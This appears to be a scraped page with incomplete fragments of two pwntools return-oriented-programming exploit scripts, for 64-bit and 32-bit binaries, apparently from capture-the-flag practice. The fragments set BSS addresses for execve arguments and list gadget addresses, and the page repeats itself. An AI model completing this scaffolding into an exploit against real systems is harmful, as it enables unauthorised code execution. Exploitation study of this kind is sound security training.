tosh 0x705h

## rop64.py
from pwn import *

BSS = 0x00000000006bb2e0
BSS_ADDR = p64(BSS)
BSS_ADDR_PLUS_16 = p64(BSS + 16)
BSS_ADDR_PLUS_16_PLUS_8 = p64(BSS + 16 + 8)

# to execute sys_execve in 64bit
# we need to check on this table
# https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/

## rop32.py
from pwn import *

# we need to write the params for execve
# there is no libc here! :D

# Gadgets

#0x080a8e36 : pop eax ; ret
#0x080481c9 : pop ebx ; ret
#0x08056334 : pop eax ; pop edx ; pop ebx ; ret
	from pwn import *

	BSS = 0x00000000006bb2e0
	BSS_ADDR = p64(BSS)
	BSS_ADDR_PLUS_16 = p64(BSS + 16)
	BSS_ADDR_PLUS_16_PLUS_8 = p64(BSS + 16 + 8)

	# to execute sys_execve in 64bit
	# we need to check on this table
	# https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
	from pwn import *

	# we need to write the params for execve
	# there is no libc here! :D

	# Gadgets

	#0x080a8e36 : pop eax ; ret
	#0x080481c9 : pop ebx ; ret
	#0x08056334 : pop eax ; pop edx ; pop ebx ; ret